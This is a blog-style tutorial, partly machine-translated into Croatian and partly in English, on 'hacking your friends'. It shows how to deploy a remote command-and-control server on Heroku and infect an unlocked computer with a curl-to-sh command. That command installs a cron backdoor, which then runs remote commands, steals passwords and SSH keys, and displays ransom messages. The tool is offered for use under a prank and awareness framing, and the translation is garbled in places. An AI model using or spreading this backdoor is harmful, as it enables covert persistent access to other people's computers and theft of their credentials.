Kako hakirati svoje prijatelje

Moji prijatelji često ostavljaju računala otvorena i otključana. Kažem im da bi vjerojatno trebali imati naviku zaključavanja računala, ali me ne slušaju. Stoga sam stvorio jednostavan projekt za hakiranje svojih prijatelja i pokazivanje važnosti računalne sigurnosti.

Sve što trebam jest pričekati da ostave računalo nekoliko sekundi otključano, otvoriti terminal i upisati jednu kratku naredbu.

To je to! Njihovo je računalo sada zaraženo i na ovom računalu mogu daljinski pokretati sve naredbe koje želim. Prilično slatko, zar ne? Ili možda šokantno?

Sjeckanje je protuzakonito. Posebno:

„Namjerni pristup računalu bez odobrenja ili prekoračenje odobrenog pristupa“ - Zakon o računalnoj prijevari i zlostavljanju (18 USC 1030)

Stoga imajte na umu da je svrha ovog članka pokazati vam koliko bi lako moglo biti nekoga tko vas loše namjerava hakirati kako biste izbjegli da vas sami hakiraju.

Ne treba vam neki hakerski genij da vam uništi život - bilo koji "kiddy skripta" koji može dobiti fizički pristup vašem računalu može vas kompromitirati preuzimanjem skripte koja sadrži samo 50 redaka koda.

Dobivanje postava

Sav kôd za ovaj projekt živi u ovom spremištu ako želite uskočiti odmah, ali u nastavku ću objasniti kako sve to funkcionira.

Prvo, trebate samo klonirati repo, instalirati svoje ovisnosti, i simboličku vezu na hack alat za sučelje naredbenog retka (CLI).

git clone //github.com/ccorcos/hack.gitgit remote remove origincd hacknpm installnpm link

Dalje, trebate postaviti Heroku za hostiranje skripti koje će se izvoditi na vašem računalu prijatelja. Ako nikada prije niste koristili Heroku, prijavite se ovdje (besplatno je!) I postavite njihov CLI alat na vašem računalu.

brew install heroku-toolbeltheroku login

Sada u hack repo-u stvorite Heroku aplikaciju s lako zapamćenim imenom. Koristim hacker-chet.

heroku create hacker-chet

Zatim trebate pokrenuti naredbu za malo postavljanje. Sve što zapravo radi je dobivanje korijenskog URL-a za vašu web stranicu Heroku i stavljanje u vaš package.json . Na taj način poslužitelj može ubrizgati url aplikacije u skripte ljuske.

npm run init

Poslužitelj možete pokrenuti lokalno ako se želite provaliti i testirati stvari.

npm start

Ili se možete rasporediti na Heroku.

npm run deploy

Sada ste spremni za hakiranje!

Hack API

Ljepota ovog programa je u tome što za početak hakiranja nekoga trebate samo pokrenuti jednu naredbu na njegovom stroju.

curl /hack | sh

ROOT_URL je određeni put do vaše prijave. Kada lokalno koristite poslužitelj, to će biti localhost: 5000, a kada se rasporedite na Heroku, bit će to nešto poput .herokua pp.com.

To čini postavljanje cron posla - "kronološkog posla" koji ponavlja zadatke u određeno vrijeme - za pinganje / env / live krajnje točke svake minute i usmjeravanje rezultata u sh . Zapravo je sasvim jednostavno! A Heroku vam daje HTTPS besplatno, tako da je njegov "siguran" zar ne?

Nakon što hakirate svog prijatelja, sve ostalo možete učiniti pomoću alata za naredbene retke s računala.

Alat za hakiranje ima koncept različitih hakiranih okruženja. Kad nekoga hakirate pomoću / hack krajnje točke, ta se osoba pokreće u živom okruženju. A za svako okruženje možete pokretati niz različitih naredbi. Sve ću demonstrirati s malim korakom.

Sljedeće će prepisati skriptu ljuske okruženja uživo kako bi se izvršila sljedeća naredba koja će naglas reći "Gledam te."

hack live exec "say 'I\'m watching you'"

Pa, to još neće uspjeti, još uvijek se morate ponovo rasporediti u svoju aplikaciju Heroku.

hack deploy

Sada pričekajte sljedeću minutu i gledajte računalo svog prijatelja kako pinguje vaš poslužitelj prateći zapise poslužitelja.

hack logs

Cijela poanta okruženja je u tome da možete istodobno hakirati više ljudi. Da biste izolirali ljude u različitim okruženjima, samo trebate promijeniti ime.

hack live rename jon

Sljedeći put kad se živo okruženje pingira, prepisat će posao cron da umjesto toga počne pingati jon okruženje.

Sve isto možete učiniti samo promjenom argumenta okoline.

hack jon exec "say 'hello jon'"

Sad, ako ste se dovoljno zabavili za taj dan i zabava je gotova, možete zaboraviti Jona i uvjeriti ga da ste ga "unhakirali".

hack jon forget

Ovo će izbrisati cron posao s njihovog računala. Ili biste možda možda htjeli jednostavno staviti ovo okruženje u način spavanja kako biste ga kasnije mogli oporaviti.

hack jon interval 1d

Now, rather than pinging your server every minute (the default), it will ping every day at midnight. And when you want to wake it back up, you can change the interval back to every minute and the next day, you’re good to go!

hack jon interval 1m

Some other fun things to do are setting up additional cron jobs. Here’s how you can wake your friend up at 6am every morning to remind him about computer security.

hack jon cron "0 6 * * * say 'good morning jon, remember what I told you about locking your computer?'"

P.S. If you don’t remember how cron jobs work, this is a great resource. It pretty much all comes down to this little diagram.

* * * * *| | | | || | | | || | | | +---- Day of the Week (range: 1-7, 1 standing for Monday)| | | +------ Month of the Year (range: 1-12)| | +-------- Day of the Month (range: 1-31)| +---------- Hour (range: 0-23)+------------ Minute (range: 0-59)

One of my favorites is the desktop preset which will download an image from a given URL and set it as the background photo.

hack jon preset desktop //i.imgur.com/5FC2r9R.jpg

And if you’ve written a ton of cron jobs and you don’t know what’s on there anymore, you can use the dump command.

hack jon dump "crontab -l"

Now whip open your logs and you’ll see the output on the next ping. This is actually much more sinister now that you can get information back. If you wanted to be more nefarious, you can search for decrypted passwords or steal their ssh keys.

hack jon preset passwordshack jon preset ssh

But if you just want to give him a good old-fashioned scare, send him a ransom message!

hack jon preset ransom "Hello Jon, I told you not to leave your computer unlocked."

Lastly, if you find yourself adding a bunch of cron jobs and just want to start over, reset is here to help.

hack jon reset

Now go have (responsible) fun with this thing and let me know what your favorite pranks are by submitting a pull request with a new command or preset!

Happy Hacking!